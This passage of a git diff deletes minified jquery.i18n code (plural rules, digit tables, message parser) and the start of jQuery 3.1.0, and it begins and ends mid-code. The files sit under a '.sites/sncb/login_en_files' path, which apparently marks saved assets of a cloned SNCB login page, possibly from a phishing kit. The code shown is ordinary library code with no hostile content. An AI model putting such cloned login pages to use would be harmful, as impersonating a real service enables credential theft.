["id"], - bm: ["fr"], - bpy: ["bn"], - bqi: ["fa"], - bug: ["id"], - "cbk-zam": ["es"], - ce: ["ru"], - crh: ["crh-latn"], - "crh-cyrl": ["ru"], - csb: ["pl"], - cv: ["ru"], - "de-at": ["de"], - "de-ch": ["de"], - "de-formal": ["de"], - dsb: ["de"], - dtp: ["ms"], - egl: ["it"], - eml: ["it"], - ff: ["fr"], - fit: ["fi"], - "fiu-vro": ["vro", "et"], - frc: ["fr"], - frp: ["fr"], - frr: ["de"], - fur: ["it"], - gag: ["tr"], - gan: ["gan-hant", "zh-hant", "zh-hans"], - "gan-hans": ["zh-hans"], - "gan-hant": ["zh-hant", "zh-hans"], - gl: ["pt"], - glk: ["fa"], - gn: ["es"], - gsw: ["de"], - hif: ["hif-latn"], - hsb: ["de"], - ht: ["fr"], - ii: ["zh-cn", "zh-hans"], - inh: ["ru"], - iu: ["ike-cans"], - jut: ["da"], - jv: ["id"], - kaa: ["kk-latn", "kk-cyrl"], - kbd: ["kbd-cyrl"], - khw: ["ur"], - kiu: ["tr"], - kk: ["kk-cyrl"], - "kk-arab": ["kk-cyrl"], - "kk-latn": ["kk-cyrl"], - "kk-cn": ["kk-arab", "kk-cyrl"], - "kk-kz": ["kk-cyrl"], - "kk-tr": ["kk-latn", "kk-cyrl"], - kl: ["da"], - "ko-kp": ["ko"], - koi: ["ru"], - krc: ["ru"], - ks: ["ks-arab"], - ksh: ["de"], - ku: ["ku-latn"], - "ku-arab": ["ckb"], - kv: ["ru"], - lad: ["es"], - lb: ["de"], - lbe: ["ru"], - lez: ["ru"], - li: ["nl"], - lij: ["it"], - liv: ["et"], - lmo: ["it"], - ln: ["fr"], - ltg: ["lv"], - lzz: ["tr"], - mai: ["hi"], - "map-bms": ["jv", "id"], - mg: ["fr"], - mhr: ["ru"], - min: ["id"], - mo: ["ro"], - mrj: ["ru"], - mwl: ["pt"], - myv: ["ru"], - mzn: ["fa"], - nah: ["es"], - nap: ["it"], - nds: ["de"], - "nds-nl": ["nl"], - "nl-informal": ["nl"], - no: ["nb"], - os: ["ru"], - pcd: ["fr"], - pdc: ["de"], - pdt: ["de"], - pfl: ["de"], - pms: ["it"], - pt: ["pt-br"], - "pt-br": ["pt"], - qu: ["es"], - qug: ["qu", "es"], - rgn: ["it"], - rmy: ["ro"], - "roa-rup": ["rup"], - rue: ["uk", "ru"], - ruq: ["ruq-latn", "ro"], - "ruq-cyrl": ["mk"], - "ruq-latn": ["ro"], - sa: ["hi"], - sah: ["ru"], - scn: ["it"], - sg: ["fr"], - sgs: ["lt"], - sli: ["de"], - sr: ["sr-ec"], - srn: ["nl"], - stq: ["de"], - su: ["id"], - szl: ["pl"], - tcy: ["kn"], - tg: ["tg-cyrl"], - tt: ["tt-cyrl", "ru"], - "tt-cyrl": ["ru"], - ty: ["fr"], - udm: ["ru"], - ug: ["ug-arab"], - uk: ["ru"], - vec: ["it"], - vep: ["et"], - vls: ["nl"], - vmf: ["de"], - vot: ["fi"], - vro: ["et"], - wa: ["fr"], - wo: ["fr"], - wuu: ["zh-hans"], - xal: ["ru"], - xmf: ["ka"], - yi: ["he"], - za: ["zh-hans"], - zea: ["nl"], - zh: ["zh-hans"], - "zh-classical": ["lzh"], - "zh-cn": ["zh-hans"], - "zh-hant": ["zh-hans"], - "zh-hk": ["zh-hant", "zh-hans"], - "zh-min-nan": ["nan"], - "zh-mo": ["zh-hk", "zh-hant", "zh-hans"], - "zh-my": ["zh-sg", "zh-hans"], - "zh-sg": ["zh-hans"], - "zh-tw": ["zh-hant", "zh-hans"], - "zh-yue": ["yue"] - }) - })(jQuery) -}, function (e, t, i) { - "use strict"; - (function (e) { - "use strict"; - var t = { - pluralRules: { - ak: { - one: "n = 0..1" - }, - am: { - one: "i = 0 or n = 1" - }, - ar: { - zero: "n = 0", - one: "n = 1", - two: "n = 2", - few: "n % 100 = 3..10", - many: "n % 100 = 11..99" - }, - be: { - one: "n % 10 = 1 and n % 100 != 11", - few: "n % 10 = 2..4 and n % 100 != 12..14", - many: "n % 10 = 0 or n % 10 = 5..9 or n % 100 = 11..14" - }, - bh: { - one: "n = 0..1" - }, - bn: { - one: "i = 0 or n = 1" - }, - br: { - one: "n % 10 = 1 and n % 100 != 11,71,91", - two: "n % 10 = 2 and n % 100 != 12,72,92", - few: "n % 10 = 3..4,9 and n % 100 != 10..19,70..79,90..99", - many: "n != 0 and n % 1000000 = 0" - }, - bs: { - one: "v = 0 and i % 10 = 1 and i % 100 != 11 or f % 10 = 1 and f % 100 != 11", - few: "v = 0 and i % 10 = 2..4 and i % 100 != 12..14 or f % 10 = 2..4 and f % 100 != 12..14" - }, - cs: { - one: "i = 1 and v = 0", - few: "i = 2..4 and v = 0", - many: "v != 0" - }, - cy: { - zero: "n = 0", - one: "n = 1", - two: "n = 2", - few: "n = 3", - many: "n = 6" - }, - da: { - one: "n = 1 or t != 0 and i = 0,1" - }, - fa: { - one: "i = 0 or n = 1" - }, - ff: { - one: "i = 0,1" - }, - fil: { - one: "i = 0..1 and v = 0" - }, - fr: { - one: "i = 0,1" - }, - ga: { - one: "n = 1", - two: "n = 2", - few: "n = 3..6", - many: "n = 7..10" - }, - gd: { - one: "n = 1,11", - two: "n = 2,12", - few: "n = 3..10,13..19" - }, - gu: { - one: "i = 0 or n = 1" - }, - guw: { - one: "n = 0..1" - }, - gv: { - one: "n % 10 = 1", - two: "n % 10 = 2", - few: "n % 100 = 0,20,40,60" - }, - he: { - one: "i = 1 and v = 0", - two: "i = 2 and v = 0", - many: "v = 0 and n != 0..10 and n % 10 = 0" - }, - hi: { - one: "i = 0 or n = 1" - }, - hr: { - one: "v = 0 and i % 10 = 1 and i % 100 != 11 or f % 10 = 1 and f % 100 != 11", - few: "v = 0 and i % 10 = 2..4 and i % 100 != 12..14 or f % 10 = 2..4 and f % 100 != 12..14" - }, - hy: { - one: "i = 0,1" - }, - is: { - one: "t = 0 and i % 10 = 1 and i % 100 != 11 or t != 0" - }, - iu: { - one: "n = 1", - two: "n = 2" - }, - iw: { - one: "i = 1 and v = 0", - two: "i = 2 and v = 0", - many: "v = 0 and n != 0..10 and n % 10 = 0" - }, - kab: { - one: "i = 0,1" - }, - kn: { - one: "i = 0 or n = 1" - }, - kw: { - one: "n = 1", - two: "n = 2" - }, - lag: { - zero: "n = 0", - one: "i = 0,1 and n != 0" - }, - ln: { - one: "n = 0..1" - }, - lt: { - one: "n % 10 = 1 and n % 100 != 11..19", - few: "n % 10 = 2..9 and n % 100 != 11..19", - many: "f != 0" - }, - lv: { - zero: "n % 10 = 0 or n % 100 = 11..19 or v = 2 and f % 100 = 11..19", - one: "n % 10 = 1 and n % 100 != 11 or v = 2 and f % 10 = 1 and f % 100 != 11 or v != 2 and f % 10 = 1" - }, - mg: { - one: "n = 0..1" - }, - mk: { - one: "v = 0 and i % 10 = 1 or f % 10 = 1" - }, - mo: { - one: "i = 1 and v = 0", - few: "v != 0 or n = 0 or n != 1 and n % 100 = 1..19" - }, - mr: { - one: "i = 0 or n = 1" - }, - mt: { - one: "n = 1", - few: "n = 0 or n % 100 = 2..10", - many: "n % 100 = 11..19" - }, - naq: { - one: "n = 1", - two: "n = 2" - }, - nso: { - one: "n = 0..1" - }, - pa: { - one: "n = 0..1" - }, - pl: { - one: "i = 1 and v = 0", - few: "v = 0 and i % 10 = 2..4 and i % 100 != 12..14", - many: "v = 0 and i != 1 and i % 10 = 0..1 or v = 0 and i % 10 = 5..9 or v = 0 and i % 100 = 12..14" - }, - pt: { - one: "i = 1 and v = 0 or i = 0 and t = 1" - }, - pt_PT: { - one: "n = 1 and v = 0" - }, - ro: { - one: "i = 1 and v = 0", - few: "v != 0 or n = 0 or n != 1 and n % 100 = 1..19" - }, - ru: { - one: "v = 0 and i % 10 = 1 and i % 100 != 11", - many: "v = 0 and i % 10 = 0 or v = 0 and i % 10 = 5..9 or v = 0 and i % 100 = 11..14" - }, - se: { - one: "n = 1", - two: "n = 2" - }, - sh: { - one: "v = 0 and i % 10 = 1 and i % 100 != 11 or f % 10 = 1 and f % 100 != 11", - few: "v = 0 and i % 10 = 2..4 and i % 100 != 12..14 or f % 10 = 2..4 and f % 100 != 12..14" - }, - shi: { - one: "i = 0 or n = 1", - few: "n = 2..10" - }, - si: { - one: "n = 0,1 or i = 0 and f = 1" - }, - sk: { - one: "i = 1 and v = 0", - few: "i = 2..4 and v = 0", - many: "v != 0" - }, - sl: { - one: "v = 0 and i % 100 = 1", - two: "v = 0 and i % 100 = 2", - few: "v = 0 and i % 100 = 3..4 or v != 0" - }, - sma: { - one: "n = 1", - two: "n = 2" - }, - smi: { - one: "n = 1", - two: "n = 2" - }, - smj: { - one: "n = 1", - two: "n = 2" - }, - smn: { - one: "n = 1", - two: "n = 2" - }, - sms: { - one: "n = 1", - two: "n = 2" - }, - sr: { - one: "v = 0 and i % 10 = 1 and i % 100 != 11 or f % 10 = 1 and f % 100 != 11", - few: "v = 0 and i % 10 = 2..4 and i % 100 != 12..14 or f % 10 = 2..4 and f % 100 != 12..14" - }, - ti: { - one: "n = 0..1" - }, - tl: { - one: "i = 0..1 and v = 0" - }, - tzm: { - one: "n = 0..1 or n = 11..99" - }, - uk: { - one: "v = 0 and i % 10 = 1 and i % 100 != 11", - few: "v = 0 and i % 10 = 2..4 and i % 100 != 12..14", - many: "v = 0 and i % 10 = 0 or v = 0 and i % 10 = 5..9 or v = 0 and i % 100 = 11..14" - }, - wa: { - one: "n = 0..1" - }, - zu: { - one: "i = 0 or n = 1" - } - }, - convertPlural: function t(i, n) { - var r, a, s, o = new RegExp("\\d+=", "i"), - l, u; - if (!n || n.length === 0) { - return "" - } - for (s = 0; s < n.length; s++) { - u = n[s]; - if (o.test(u)) { - l = parseInt(u.slice(0, u.indexOf("=")), 10); - if (l === i) { - return u.slice(u.indexOf("=") + 1) - } - n[s] = undefined - } - } - n = e.map(n, function (e) { - if (e !== undefined) { - return e - } - }); - r = this.pluralRules[e.i18n().locale]; - if (!r) { - return i === 1 ? n[0] : n[1] - } - a = this.getPluralForm(i, r); - a = Math.min(a, n.length - 1); - return n[a] - }, - getPluralForm: function e(t, i) { - var n, r = ["zero", "one", "two", "few", "many", "other"], - a = 0; - for (n = 0; n < r.length; n++) { - if (i[r[n]]) { - if (pluralRuleParser(i[r[n]], t)) { - return a - } - a++ - } - } - return a - }, - convertNumber: function t(i, n) { - var r, a, s, o, l, u; - o = this.digitTransformTable(e.i18n().locale); - l = String(i); - u = ""; - if (!o) { - return i - } - if (n) { - if (parseFloat(i, 10) === i) { - return i - } - r = []; - for (a in o) { - r[o[a]] = a - } - o = r - } - for (s = 0; s < l.length; s++) { - if (o[l[s]]) { - u += o[l[s]] - } else { - u += l[s] - } - } - return n ? parseFloat(u, 10) : u - }, - convertGrammar: function e(t, i) { - return t - }, - gender: function e(t, i) { - if (!i || i.length === 0) { - return "" - } - while (i.length < 2) { - i.push(i[i.length - 1]) - } - if (t === "male") { - return i[0] - } - if (t === "female") { - return i[1] - } - return i.length === 3 ? i[2] : i[0] - }, - digitTransformTable: function e(t) { - var i = { - ar: "٠١٢٣٤٥٦٧٨٩", - fa: "۰۱۲۳۴۵۶۷۸۹", - ml: "൦൧൨൩൪൫൬൭൮൯", - kn: "೦೧೨೩೪೫೬೭೮೯", - lo: "໐໑໒໓໔໕໖໗໘໙", - or: "୦୧୨୩୪୫୬୭୮୯", - kh: "០១២៣៤៥៦៧៨៩", - pa: "੦੧੨੩੪੫੬੭੮੯", - gu: "૦૧૨૩૪૫૬૭૮૯", - hi: "०१२३४५६७८९", - my: "၀၁၂၃၄၅၆၇၈၉", - ta: "௦௧௨௩௪௫௬௭௮௯", - te: "౦౧౨౩౪౫౬౭౮౯", - th: "๐๑๒๓๔๕๖๗๘๙", - bo: "༠༡༢༣༤༥༦༧༨༩" - }; - if (!i[t]) { - return false - } - return i[t].split("") - } - }; - e.extend(e.i18n.languages, { - default: t - }) - })(jQuery) -}, function (e, t, i) { - "use strict"; - (function (e, t, i) { - "use strict"; - var n = function e() { - this.messages = {}; - this.sources = {} - }; - n.prototype = { - load: function t(i, n) { - var a = null, - s = null, - o = [], - l = this; - if (typeof i === "string") { - e.i18n.log("Loading messages from: " + i); - s = r(i).done(function (e) { - l.set(n, e) - }); - return s.promise() - } - if (n) { - l.set(n, i); - return e.Deferred().resolve() - } else { - for (a in i) { - if (Object.prototype.hasOwnProperty.call(i, a)) { - n = a; - o.push(l.load(i[a], n)) - } - } - return e.when.apply(e, o) - } - }, - set: function t(i, n) { - if (!this.messages[i]) { - this.messages[i] = n - } else { - this.messages[i] = e.extend(this.messages[i], n) - } - }, - get: function e(t, i) { - return this.messages[t] && this.messages[t][i] - } - }; - - function r(t) { - var i = e.Deferred(); - e.getJSON(t).done(i.resolve).fail(function (n, r, a) { - e.i18n.log("Error in loading messages from " + t + " Exception: " + a); - i.resolve() - }); - return i.promise() - } - e.extend(e.i18n.messageStore, new n) - })(jQuery, window) -}, function (e, t, i) { - "use strict"; - (function (e) { - "use strict"; - var t = function t(i) { - this.options = e.extend({}, e.i18n.parser.defaults, i); - this.language = e.i18n.languages[String.locale] || e.i18n.languages["default"]; - this.emitter = e.i18n.parser.emitter - }; - t.prototype = { - constructor: t, - simpleParse: function e(t, i) { - return t.replace(/\$(\d+)/g, function (e, t) { - var n = parseInt(t, 10) - 1; - return i[n] !== undefined ? i[n] : "$" + t - }) - }, - parse: function t(i, n) { - if (i.indexOf("{{") < 0) { - return this.simpleParse(i, n) - } - this.emitter.language = e.i18n.languages[e.i18n().locale] || e.i18n.languages["default"]; - return this.emitter.emit(this.ast(i), n) - }, - ast: function e(t) { - var i, n, r, a, s, o, l, u, d, f, c, h, m, p, v, _, g, y, b = 0; - - function w(e) { - return function () { - var t, i; - for (t = 0; t < e.length; t++) { - i = e[t](); - if (i !== null) { - return i - } - } - return null - } - } - - function M(e) { - var t, i, n = b, - r = []; - for (t = 0; t < e.length; t++) { - i = e[t](); - if (i === null) { - b = n; - return null - } - r.push(i) - } - return r - } - - function k(e, t) { - return function () { - var i = b, - n = [], - r = t(); - while (r !== null) { - n.push(r); - r = t() - } - if (n.length < e) { - b = i; - return null - } - return n - } - } - - function L(e) { - var i = e.length; - return function () { - var n = null; - if (t.slice(b, b + i) === e) { - n = e; - b += i - } - return n - } - } - - function T(e) { - return function () { - var i = t.slice(b).match(e); - if (i === null) { - return null - } - b += i[0].length; - return i[0] - } - } - i = L("|"); - n = L(":"); - r = L("\\"); - a = T(/^./); - s = L("$"); - o = T(/^\d+/); - l = T(/^[^{}\[\]$\\]/); - u = T(/^[^{}\[\]$\\|]/); - d = T(/^[^{}\[\]$\s]/); - - function x(e, t) { - return function () { - var i = e(); - return i === null ? null : t(i) - } - } - - function S() { - var e = k(1, f)(); - return e === null ? null : e.join("") - } - - function Y() { - var e = k(1, c)(); - return e === null ? null : e.join("") - } - - function D() { - var e = M([r, a]); - return e === null ? null : e[1] - } - w([D, d]); - f = w([D, u]); - c = w([D, l]); - - function E() { - var e = M([s, o]); - if (e === null) { - return null - } - return ["REPLACE", parseInt(e[1], 10) - 1] - } - m = x(T(/^[ !"$&'()*,.\/0-9;=?@A-Z\^_`a-z~\x80-\xFF+\-]+/), function (e) { - return e.toString() - }); - - function C() { - var e, t = M([i, k(0, g)]); - if (t === null) { - return null - } - e = t[1]; - return e.length > 1 ? ["CONCAT"].concat(e) : e[0] - } - - function P() { - var e = M([m, n, E]); - return e === null ? null : [e[0], e[2]] - } - - function A() { - var e = M([m, n, g]); - return e === null ? null : [e[0], e[2]] - } - h = w([function () { - var e = M([w([P, A]), k(0, C)]); - return e === null ? null : e[0].concat(e[1]) - }, function () { - var e = M([m, k(0, C)]); - if (e === null) { - return null - } - return [e[0]].concat(e[1]) - }]); - p = L("{{"); - v = L("}}"); - - function O() { - var e = M([p, h, v]); - return e === null ? null : e[1] - } - _ = w([O, E, Y]); - g = w([O, E, S]); - - function j() { - var e = k(0, _)(); - if (e === null) { - return null - } - return ["CONCAT"].concat(e) - } - y = j(); - if (y === null || b !== t.length) { - throw new Error("Parse error at position " + b.toString() + " in input: " + t) - } - return y - } - }; - e.extend(e.i18n.parser, new t) - })(jQuery) -}]); diff --git "a/.sites/sncb/login_en_files/jquery.js.t\303\251l\303\251charg\303\251" "b/.sites/sncb/login_en_files/jquery.js.t\303\251l\303\251charg\303\251" deleted file mode 100644 index 99d0e5ee..00000000 --- "a/.sites/sncb/login_en_files/jquery.js.t\303\251l\303\251charg\303\251" +++ /dev/null @@ -1,4 +0,0 @@ -/*! jQuery v3.1.0 | (c) jQuery Foundation | jquery.org/license */ -!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.0",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null!=a?a<0?this[a+this.length]:this[a]:f.call(this)},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(f.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(a<0?b:0);return this.pushStack(c>=0&&c0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=function(a,b){for(var c=0,d=a.length;c+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(N),U=new RegExp("^"+L+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"|[*])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),aa=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:d<0?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ba=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g,ca=function(a,b){return b?"\0"===a?"\ufffd":a.slice(0,-1)+"\\"+a.charCodeAt(a.length-1).toString(16)+" ":"\\"+a},da=function(){m()},ea=ta(function(a){return a.disabled===!0},{dir:"parentNode",next:"legend"});try{G.apply(D=H.call(v.childNodes),v.childNodes),D[v.childNodes.length].nodeType}catch(fa){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s=b&&b.ownerDocument,w=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==w&&9!==w&&11!==w)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(l[2])return G.apply(d,b.getElementsByTagName(a)),d;if((f=l[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.setAttribute("id",k=u),o=g(a),h=o.length;while(h--)o[h]="#"+k+" "+sa(o[h]);r=o.join(","),s=$.test(a)&&qa(b.parentNode)||b}if(r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(P,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("fieldset");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&a.sourceIndex-b.sourceIndex;if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return function(b){return"label"in b&&b.disabled===a||"form"in b&&b.disabled===a||"form"in b&&b.disabled===!1&&(b.isDisabled===a||b.isDisabled!==!a&&("label"in b||!ea(b))!==a)}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function qa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return!!b&&"HTML"!==b.nodeName},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),v!==n&&(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(n.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}},d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){if("undefined"!=typeof b.getElementsByClassName&&p)return b.getElementsByClassName(a)},r=[],q=[],(c.qsa=Y.test(n.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){a.innerHTML="";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"*[*^$|!~]?="),2!==a.querySelectorAll(":enabled").length&&q.push(":enabled",":disabled"),o.appendChild(a).disabled=!0,2!==a.querySelectorAll(":disabled").length&&q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Y.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"*"),s.call(a,"[s!='']:x"),r.push("!=",N)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Y.test(o.compareDocumentPosition),t=b||Y.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?la(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(S,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.escape=function(a){return(a+"").replace(ba,ca)},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(_,aa),a[3]=(a[3]||a[4]||a[5]||"").replace(_,aa),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return V.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&T.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(_,aa).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:!b||(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(O," ")+" 